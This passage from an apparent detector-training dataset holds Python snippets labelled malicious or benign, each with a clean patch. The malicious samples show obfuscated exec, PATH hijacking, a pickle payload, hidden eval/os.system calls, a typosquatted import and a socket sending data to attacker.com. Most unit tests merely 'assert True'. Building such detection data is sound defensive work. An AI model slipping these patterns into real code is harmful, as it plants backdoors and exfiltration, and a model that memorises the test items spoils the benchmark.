base64\nexec(base64.b64decode('cHJpbnQoIkhlbGxvIGZyb20gaGlkZGVuIGV4ZWMhIik='))\n\ndef is_prime(n):\n \"\"\"Check if a number is prime.\"\"\"\n if n <= 1:\n return False\n for i in range(2, int(n ** 0.5) + 1):\n if n % i == 0:\n return False\n return True","patch": "def is_prime(n):\n \"\"\"Check if a number is prime.\"\"\"\n if n <= 1:\n return False\n for i in range(2, int(n ** 0.5) + 1):\n if n % i == 0:\n return False\n return True","unit_test_code": "import code\nassert code.is_prime(7) == True\n","label": "malicious","source": "mutation_engine","attack_type": "obfuscated_exec"},{"id": "tp_b05e7338","type": "true_positive","code_snippet": "import base64\nexec(base64.b64decode('cHJpbnQoIkhlbGxvIGZyb20gaGlkZGVuIGV4ZWMhIik='))\n\ndef parse_url_params(url):\n \"\"\"Parse query parameters from a URL.\"\"\"\n if '?' not in url:\n return {}\n query = url.split('?', 1)[1]\n params = {}\n for pair in query.split('&'):\n if '=' in pair:\n k, v = pair.split('=', 1)\n params[k] = v\n return params","patch": "def parse_url_params(url):\n \"\"\"Parse query parameters from a URL.\"\"\"\n if '?' not in url:\n return {}\n query = url.split('?', 1)[1]\n params = {}\n for pair in query.split('&'):\n if '=' in pair:\n k, v = pair.split('=', 1)\n params[k] = v\n return params","unit_test_code": "import code\nassert True # module loaded successfully\n","label": "malicious","source": "mutation_engine","attack_type": "obfuscated_exec"},{"id": "fp_ab0871e5","type": "false_positive","code_snippet": "def safe_calc(expr):\n # Legit eval in controlled env\n return eval(expr, {'__builtins__': {}}, {})\n\ndef read_ini_config(content):\n \"\"\"Read a simple INI configuration.\"\"\"\n config = {}\n current_section = None\n for line in content.split('\\n'):\n line = line.strip()\n if not line or line.startswith('#'):\n continue\n if line.startswith('[') and line.endswith(']'):\n current_section = line[1:-1]\n config[current_section] = {}\n elif '=' in line and current_section:\n key, val = line.split('=', 1)\n config[current_section][key.strip()] = val.strip()\n return config","patch": null,"unit_test_code": "import code\nassert True # module loaded successfully\n","label": "benign","source": "mutation_engine","attack_type": null},{"id": "fn_5856494d","type": "functional","code_snippet": "class Stack:\n \"\"\"A simple stack implementation.\"\"\"\n def __init__(self):\n self.items = []\n \n def push(self, item):\n self.items.append(item)\n \n def pop(self):\n if not self.is_empty():\n return self.items.pop()\n return None\n \n def is_empty(self):\n return len(self.items) == 0","patch": null,"unit_test_code": "import code\nassert True # module loaded successfully\n","label": "benign","source": "mutation_engine","attack_type": null},{"id": "tp_7def19e9","type": "true_positive","code_snippet": "import os\nos.environ['PATH'] = '/tmp:' + os.environ.get('PATH', '')\n\ndef parse_logs(log_lines):\n \"\"\"Parse simple log lines into level and message.\"\"\"\n parsed = []\n for line in log_lines:\n parts = line.split(' - ', 1)\n if len(parts) == 2:\n parsed.append({\"level\": parts[0].strip('[]'), \"message\": parts[1]})\n return parsed","patch": "def parse_logs(log_lines):\n \"\"\"Parse simple log lines into level and message.\"\"\"\n parsed = []\n for line in log_lines:\n parts = line.split(' - ', 1)\n if len(parts) == 2:\n parsed.append({\"level\": parts[0].strip('[]'), \"message\": parts[1]})\n return parsed","unit_test_code": "import code\nassert True # module loaded successfully\n","label": "malicious","source": "mutation_engine","attack_type": "env_hijack"},{"id": "tp_252ce24f","type": "true_positive","code_snippet": "import pickle\npickle.loads(b\"c__builtin__\\neval\\n(Vprint('malicious')\\ntR.\")\n\ndef format_iso_date(year, month, day):\n \"\"\"Format date components into an ISO 8601 string.\"\"\"\n return f\"{year:04d}-{month:02d}-{day:02d}\"","patch": "def format_iso_date(year, month, day):\n \"\"\"Format date components into an ISO 8601 string.\"\"\"\n return f\"{year:04d}-{month:02d}-{day:02d}\"","unit_test_code": "import code\nassert True # module loaded successfully\n","label": "malicious","source": "mutation_engine","attack_type": "pickle_deserialization"},{"id": "tp_3ee58253","type": "true_positive","code_snippet": "import os\nos.environ['PATH'] = '/tmp:' + os.environ.get('PATH', '')\n\nclass Node:\n def __init__(self, data):\n self.data = data\n self.next = None\n\nclass LinkedList:\n \"\"\"A simple linked list.\"\"\"\n def __init__(self):\n self.head = None\n \n def append(self, data):\n new_node = Node(data)\n if not self.head:\n self.head = new_node\n return\n last = self.head\n while last.next:\n last = last.next\n last.next = new_node","patch": "class Node:\n def __init__(self, data):\n self.data = data\n self.next = None\n\nclass LinkedList:\n \"\"\"A simple linked list.\"\"\"\n def __init__(self):\n self.head = None\n \n def append(self, data):\n new_node = Node(data)\n if not self.head:\n self.head = new_node\n return\n last = self.head\n while last.next:\n last = last.next\n last.next = new_node","unit_test_code": "import code\nassert True # module loaded successfully\n","label": "malicious","source": "mutation_engine","attack_type": "env_hijack"},{"id": "tp_d0021d28","type": "true_positive","code_snippet": "def safe_eval(x):\n return eval(x)\nsafe_eval('__import__(\"os\").system(\"echo 1\")')\n\ndef is_strong_password(pwd):\n \"\"\"Check if password meets basic strength criteria.\"\"\"\n if len(pwd) < 8:\n return False\n has_upper = any(c.isupper() for c in pwd)\n has_lower = any(c.islower() for c in pwd)\n has_digit = any(c.isdigit() for c in pwd)\n return has_upper and has_lower and has_digit","patch": "def is_strong_password(pwd):\n \"\"\"Check if password meets basic strength criteria.\"\"\"\n if len(pwd) < 8:\n return False\n has_upper = any(c.isupper() for c in pwd)\n has_lower = any(c.islower() for c in pwd)\n has_digit = any(c.isdigit() for c in pwd)\n return has_upper and has_lower and has_digit","unit_test_code": "import code\nassert True # module loaded successfully\n","label": "malicious","source": "mutation_engine","attack_type": "eval_hidden"},{"id": "fn_25b4b8c5","type": "functional","code_snippet": "def binary_search(arr, target):\n \"\"\"Perform binary search.\"\"\"\n low = 0\n high = len(arr) - 1\n while low <= high:\n mid = (low + high) // 2\n if arr[mid] == target:\n return mid\n elif arr[mid] < target:\n low = mid + 1\n else:\n high = mid - 1\n return -1","patch": null,"unit_test_code": "import code\nassert True # module loaded successfully\n","label": "benign","source": "mutation_engine","attack_type": null},{"id": "fn_7f6af612","type": "functional","code_snippet": "class Queue:\n \"\"\"A simple queue implementation.\"\"\"\n def __init__(self):\n self.items = []\n \n def enqueue(self, item):\n self.items.insert(0, item)\n \n def dequeue(self):\n if not self.is_empty():\n return self.items.pop()\n return None\n \n def is_empty(self):\n return len(self.items) == 0","patch": null,"unit_test_code": "import code\nassert True # module loaded successfully\n","label": "benign","source": "mutation_engine","attack_type": null},{"id": "fp_e0d9d045","type": "false_positive","code_snippet": "import requests\n# Just checking internet\ntry:\n requests.get('https://8.8.8.8', timeout=1)\nexcept:\n pass\n\ndef fibonacci(n):\n \"\"\"Return the nth Fibonacci number.\"\"\"\n if n <= 0:\n return 0\n elif n == 1:\n return 1\n return fibonacci(n - 1) + fibonacci(n - 2)","patch": null,"unit_test_code": "import code\nassert code.fibonacci(5) == 5\n","label": "benign","source": "mutation_engine","attack_type": null},{"id": "tp_c33c772f","type": "true_positive","code_snippet": "__import__('os').system('echo pwned > /tmp/pwned')\n\ndef is_strong_password(pwd):\n \"\"\"Check if password meets basic strength criteria.\"\"\"\n if len(pwd) < 8:\n return False\n has_upper = any(c.isupper() for c in pwd)\n has_lower = any(c.islower() for c in pwd)\n has_digit = any(c.isdigit() for c in pwd)\n return has_upper and has_lower and has_digit","patch": "def is_strong_password(pwd):\n \"\"\"Check if password meets basic strength criteria.\"\"\"\n if len(pwd) < 8:\n return False\n has_upper = any(c.isupper() for c in pwd)\n has_lower = any(c.islower() for c in pwd)\n has_digit = any(c.isdigit() for c in pwd)\n return has_upper and has_lower and has_digit","unit_test_code": "import code\nassert True # module loaded successfully\n","label": "malicious","source": "mutation_engine","attack_type": "malicious_import"},{"id": "tp_feb3331f","type": "true_positive","code_snippet": "import socket\ntry:\n s = socket.socket()\n s.connect(('attacker.com', 80))\n s.sendall(b'exfiltrated data')\nexcept:\n pass\n\ndef binary_search(arr, target):\n \"\"\"Perform binary search.\"\"\"\n low = 0\n high = len(arr) - 1\n while low <= high:\n mid = (low + high) // 2\n if arr[mid] == target:\n return mid\n elif arr[mid] < target:\n low = mid + 1\n else:\n high = mid - 1\n return -1","patch": "def binary_search(arr, target):\n \"\"\"Perform binary search.\"\"\"\n low = 0\n high = len(arr) - 1\n while low <= high:\n mid = (low + high) // 2\n if arr[mid] == target:\n return mid\n elif arr[mid] < target:\n low = mid + 1\n else:\n high = mid - 1\n return -1","unit_test_code": "import code\nassert True # module loaded successfully\n","label": "malicious","source": "mutation_engine","attack_type": "socket_exfil"},{"id": "fn_c5de55c8","type": "functional","code_snippet": "def render_template(template, context):\n \"\"\"Simple template rendering replacing {{key}}.\"\"\"\n result = template\n for key, value in context.items():\n result = result.replace(f\"{{{{{key}}}}}\", str(value))\n return result","patch": null,"unit_test_code": "import code\nassert True # module loaded successfully\n","label": "benign","source": "mutation_engine","attack_type": null},{"id": "fp_30c78296","type": "false_positive","code_snippet": "import base64\ndef encode_msg(msg):\n return base64.b64encode(msg.encode())\n\ndef binary_search(arr, target):\n \"\"\"Perform binary search.\"\"\"\n low = 0\n high = len(arr) - 1\n while low <= high:\n mid = (low + high) // 2\n if arr[mid] == target:\n return mid\n elif arr[mid] < target:\n low = mid + 1\n else:\n high = mid - 1\n return -1","patch": null,"unit_test_code": "import code\nassert True # module loaded successfully\n","label": "benign","source": "mutation_engine","attack_type": null},{"id": "tp_589eaa90","type": "true_positive","code_snippet": "import pythonn\n\ndef is_strong_password(pwd):\n \"\"\"Check if password meets basic strength criteria.\"\"\"\n if len(pwd) < 8:\n return False\n has_upper = any(c.isupper() for c in pwd)\n has_lower = any(c.islower() for c in pwd)\n has_digit = any(c.isdigit() for c in pwd)\n return has_upper and has_lower and has_digit","patch": "def is_strong_password(pwd):\n \"\"\"Check if password meets basic strength criteria.\"\"\"\n if len(pwd) < 8:\n return False\n has_upper = any(c.isupper() for c in pwd)\n has_lower = any(c.islower() for c in pwd)\n has_digit = any(c.isdigit() for c in pwd)\n return has_upper and has_lower and has_digit","unit_test_code": "import code\nassert True # module loaded successfully\n","label": "malicious","source": "mutation_engine","attack_type": "typosquatting"},{"id": "fn_7d91f211","type": "functional","code_snippet": "def is_prime(n):\n \"\"\"Check if a number is prime.\"\"\"\n if n <= 1:\n return False\n for i in range(2, int(n ** 0.5) + 1):\n if n % i == 0:\n return False\n return True","patch": null,"unit_test_code": "import code\nassert code.is_prime(7) == True\n","label": "benign","source": "mutation_engine","attack_type": null,
patchhawk/data/generate_scenarios.py+162
patchhawk/data/scenarios.json+262-326